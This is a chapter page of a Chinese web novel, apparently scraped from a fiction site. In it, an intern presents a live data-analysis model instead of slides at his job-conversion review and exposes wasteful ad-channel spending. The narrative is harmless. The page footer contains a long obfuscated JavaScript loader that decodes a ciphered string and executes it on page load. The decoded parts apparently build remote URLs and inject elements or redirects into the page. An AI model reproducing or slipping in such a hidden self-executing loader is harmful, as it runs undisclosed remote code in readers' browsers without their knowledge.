首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第177章 转正答辩:不展示PPT

下载APP,无广告、完整阅读
    第177章转正答辩:不展示PPT(第1/2页)
    实习期最后一周,用户增长部举行暑期实习生转正答辩。参与答辩的实习生有六人,来自不同小组。评审团由部门总监、各业务线负责人、以及几位资深专家组成,王磊也在其中。答辩流程常规:每人二十分钟展示,十分钟问答。展示内容通常包括实习期参与的项目、个人贡献、学习收获、对部门业务的理解与建议。
    前几位实习生按部就班。他们准备了精美的PPT,逻辑清晰,图文并茂。内容多围绕自己参与的具体任务展开:优化了某个推送策略的点击率,分析了某个渠道的注册成本,支持了某次活动的数据复盘。他们熟练地引用数据,展示图表,感谢导师和同事的帮助,表达对公司和部门文化的认同,并谨慎地提出一两条不痛不痒的改进建议。评审们时而点头,时而提问,气氛专业而平和。
    轮到古民。他走到会议室前方,没有连接电脑,也没有打开任何投影。评审们略带疑惑地看着他,有人以为设备出了问题。部门总监李明,一位四十多岁、神色沉稳的男人,抬眼看了看他,又看了看他空着的双手。
    “我的展示,没有PPT。”古民的声音平稳,不高,但足够清晰。“因为我接下来要呈现的,不是一个预设好结论的演示文稿,而是一个基于数据平台实时查询和动态模型的分析过程。结论存在于数据本身的关联之中,而非我的陈述里。”
    会议室安静了一瞬。几个评审交换了一下眼神。王磊低头看着自己的笔记本,看不清表情。
    “在过去的三个月,我深度参与了部门的用户增长数据分析工作,主要支持了‘暑期拉新冲刺’等项目的部分数据提取和分析需求。”古民继续,语气如同在描述一个客观事实,“在完成这些常规支持工作的过程中,我发现现有的一些核心评估指标,如注册成本、点击转化率、甚至短期的次日/七日留存,可能无法完整、真实地反映用户增长的质量和长期价值。这可能导致资源分配决策的偏差。”
    他停顿了一下,观察评审的反应。李明总监身体微微前倾,手指在桌面上轻轻点了一下,示意他继续。
    “为了验证这个想法,也作为我个人对用户增长分析的深度学习,我利用业余时间,尝试构建了一个初步的、私下的分析框架。我称之为‘用户价值真实度评估模型’,简称UVAR模型。其核心逻辑是:追踪每一个通过增长动作引入的用户,不仅看其注册行为,更追踪其后续长期行为序列,通过多维度行为信号,评估其成为长期价值用户的概率,并以此修正传统的‘成本’与‘转化’指标。”
    他走到会议室一侧的公共演示电脑前,登录自己的公司账号。“如果各位允许,我想跳过准备好的陈述,直接登录数据平台,向各位展示这个模型的分析逻辑,以及基于‘暑期拉新冲刺’项目数据,模型给出的一些发现。整个过程是实时的,数据是真实的,模型逻辑是透明的,可供任何质疑和复查。”
    这显然超出了常规答辩流程。一位负责渠道运营的业务线负责人皱了皱眉,看向李明。李明沉吟了两秒,点了点头:“可以。但请注意时间,也注意数据安全,不要展示未脱敏的原始用户信息。”
    “明白。”古民迅速操作电脑,调出公司内部的数据分析平台界面,投影到大屏幕上。他没有使用任何花哨的模板,直接打开了几个他预先保存的查询脚本和自定义仪表板。界面是朴素的代码和图表,但对在座的数据相关评审而言,一目了然。
    “首先,我定义了一组‘价值用户’的行为特征。”他调出一张图表,上面列出他设定的行为指标和阈值,“这并非完美标准,但比单一的‘活跃’或‘留存’更综合。模型会根据用户注册后的行为,计算一个‘潜在价值评分’。”
    他开始运行查询。大屏幕上,代码滚动,数据表刷新。他展示了如何从广告点击日志关联到用户注册表,再关联到长达30天的用户行为明细。“这是从‘暑期拉新冲刺’项目中随机抽样的一万个用户追踪链路,已做匿名化处理。”
    接着,他展示了模型的计算过程:如何将行为映射为评分,如何划分用户价值分层。图表清晰地显示出,按照传统“注册即转化”的标准,这一万用户都是“成功转化”。但按照他的价值评分,只有约18%的用户进入“中高价值”区间,其余82%分布在“低价值”和“疑似无效”区域。
    会议室里响起低低的议论声。18%的比例令人不安。
    “这只是一个抽样。”古民说,“接下来看整体项目。”他切换到一个聚合仪表板,展示了按照不同广告渠道、不同代理方归因后的用户价值分布热力图。色彩梯度鲜明地揭示出巨大差异:某些渠道带来的用户,高价值比例接近30%;而另一些渠道,这个比例不足5%,但其注册成本却显著低于前者。
    “如果我们引入‘有效用户获取成本’这个概念,”古民调出另一组计算,“即用渠道总花费除以该渠道带来的‘中高价值用户数’,我们会看到完全不同的排序。”一张对比图出现,左边是按照传统“单用户注册成本”从低到高排列的渠道列表,右边是按照“有效用户获取成本”排列的列表。排位发生了剧烈变化。几个在左边榜单靠前(显得“性价比高”)的渠道,在右边榜单跌至末尾,其“有效成本”是表面“注册成本”的十倍甚至更高。
    “这意味着,”古民的声音依旧平稳,但每个字都清晰有力,“我们可能将相当一部分预算,花费在了那些只能带来‘注册’这个动作,但几乎无法带来后续真实价值的渠道上。这些预算的效率极低。”
    负责渠道采购和投放的负责人脸色变得不太自然。一位资深数据分析专家提问:“你的价值用户定义是否过于严格?有些用户可能是慢热型,或者被其他因素影响。另外,渠道之间的差异性,比如目标人群不同,是否会导致价值评估的偏差?”
    “问题很好。”古民似乎早有准备,“关于价值定义,模型支持调整阈值和权重。我们可以放宽标准,比如将‘完成一次任意订单’即视为有价值,或者缩短观察期。”他快速调整了几个参数,重新运行。结果比例有所变化,高价值用户比例上升到25%,但不同渠道之间的巨大效率差异依然存在,相对排名基本稳定。“关于渠道差异,模型可以控制基本的人群属性,如地域、基础设备类型等。但核心行为模式的差异,如注册后是否有探索行为、是否使用核心功能、是否产生非补贴交易,这些是评估用户与平台真实关联度的关键,应超越简单的人口学标签。”
    (本章未完,请点击下一页继续阅读)第177章转正答辩:不展示PPT(第2/2页)
    另一位评审,产品线的负责人问:“这个模型能实时运行吗?还是只能事后分析?”
    “模型的核心是定义和算法。只要有用户行为数据流,它可以实现准实时评估。目前我构建的是基于历史数据的分析版本,但理论上可以集成到数据管道中,对新增用户进行快速价值初筛和渠道效果近实时反馈。”古民回答。
    “你提到资源分配偏差,”李明总监终于开口,声音平稳,听不出情绪,“基于你的分析,如果我们调整预算分配,从那些‘有效成本’高的渠道,转移到‘有效成本’低的渠道,你预估能带来多少效率提升?或者说,在同样的总预算下,能多获取多少‘有效用户’?”
    古民调出最后一张图,这是模型进行的模拟优化结果。“根据过去三个月的数据模拟,如果将对低质量渠道的预算(约占分析样本中广告预算的35%),重新分配到高质量渠道,在保持相同总花费的情况下,模型预测获取的‘中高价值用户’数量,可以增加约50%到120%,具体取决于渠道组合和流量采买上限。同时,整体用户群的平均长期价值预测也会有显著提升。”
    50%到120%。这个数字让会议室再次陷入安静。这意味着,按照当前模式,有超过三分之一的预算可能被严重低效使用,而优化潜力巨大。
    “你的分析,”李明缓缓说道,“基于一个关键假设:你的‘价值用户’定义,比我们现有的指标,更能代表长期业务利益。如何证明这一点?如何证明这些‘高价值’用户,未来的留存、付费、生命周期价值就一定更高?而不是仅仅因为你定义的行为更复杂?”
    这是一个触及根本的问题。古民早有预料。“两点证明。第一,回溯验证。”他展示了一组曲线,比较了被模型在早期(注册后7天)判定为“高价值”和“低价值”的用户,在后续30天、60天的实际留存率和人均GMV曲线。差异显著,高价值组的曲线衰减远慢于低价值组,人均GMV也更高。“模型基于早期行为的预测,与后续事实高度吻合。第二,相关性分析。”他又展示了一组数据,表明“价值评分”与用户在未来一个季度的实际总付费、活跃天数等指标,存在显著正相关,相关性远高于传统的“是否完成注册”或“次日是否留存”。
    评审们看着屏幕上一条条清晰的数据曲线和统计结果,无人再轻易质疑模型的逻辑。问题不再是模型是否“正确”,而是它揭示的“真相”所带来的冲击,以及改变现状的阻力。
    王磊此时抬起头,问了一个看似无关的问题:“古民,你展示的这些,包括模型本身,有没有在其他场合分享过?或者,你计划如何应用这个模型?”
    “模型和分析结果,目前仅在此次答辩中向各位完整展示。在此之前,我与导师王磊老师就部分初步发现有过交流。”古民回答,“至于应用,模型和分析框架本身是开放的。它可以用于:第一,优化现有渠道预算分配,建立基于‘有效成本’的评估体系;第二,评估新渠道或新策略的长期潜力,避免被短期数据误导;第三,监控用户增长的健康度,及时发现‘价值折损’风险。具体如何应用,取决于部门的决策。”
    他的回答谨慎而客观,将模型定位为工具,将决策权留给管理层。
    答辩时间早已超时,但无人打断。李明总监看着屏幕上那些冷静却充满力量的图表,又看了看站在一旁、神色平静无波的古民,缓缓开口:“你的展示…很有冲击力。也很大胆。常规的实习生答辩,不会选择这种方式,也不会触及这样的议题。”
    古民沉默,等待下文。
    “你的模型和分析,我们会后需要详细评估。这不是一个简单的‘好’或‘不好’能结论的事情。”李明顿了顿,“但无论如何,你在实习期间展现出的,不仅仅是完成交代的任务,而是主动发现问题、定义问题、并用扎实的数据分析去尝试解决问题的能力。这种深度思考和探索精神,是难得的。即使…结论可能引发争议。”
    他看向其他评审:“大家还有什么问题吗?”
    几位评审摇了摇头,神色复杂。有的陷入沉思,有的眉头紧锁,有的则流露出明显的兴趣。
    “那好,古民,你的答辩先到这里。材料…就是你演示的这些查询和图表,整理一份简要说明,会后发给我和王磊。”李明最后说道。
    古民点了点头,干净利落地退出登录,关闭投影。“谢谢各位老师。”他走回座位,表情依旧平静,仿佛刚才只是进行了一次普通的数据查询演示,而非投下了一颗可能震动部门某些固有逻辑的数据炸弹。
    会议室里的空气似乎还残留着刚才那些数字带来的震动。下一位实习生开始展示精美的PPT,讲述他如何通过优化落地页按钮颜色将点击率提升了0.5%,声音在略显空旷的会议室里回响。评审们重新坐正,但有些人的目光,仍会不自觉地瞥向古民的方向,或若有所思地看着空白的投影屏幕。
    王磊在笔记本上记录着什么,嘴角似乎有一丝极淡的、难以察觉的弧度。古民安静地坐着,等待答辩结束。他知道,展示已经完成。数据已经说出它们该说的话。接下来的发展,已不完全在他的控制之内。但他完成了自己预设的目标:不展示粉饰过的PPT,而是展示一个真实的问题,以及一套分析、度量这个问题的严谨方法。他像一名医生,在会诊中直接出示了病人的详细检测报告和病灶影像,而非一份精心撰写的健康证明。至于医生们是会据此商议治疗方案,还是暂时将报告封存,那是另一个层次的问题。对他而言,实习的答卷,已经以最符合他本色的方式交出。

一秒记住【882小说网】
882xsw.com,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();